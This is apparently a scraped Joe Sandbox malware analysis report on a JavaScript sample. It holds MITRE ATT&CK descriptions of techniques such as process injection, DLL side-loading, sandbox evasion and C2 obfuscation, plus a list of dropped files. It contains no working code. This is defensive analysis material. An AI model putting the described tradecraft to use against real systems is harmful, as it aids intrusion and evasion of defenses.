Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2581826545127854631.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\6c51e815-9515-4d38-851d-0702b2602697.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2380

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
2581826545127854631.js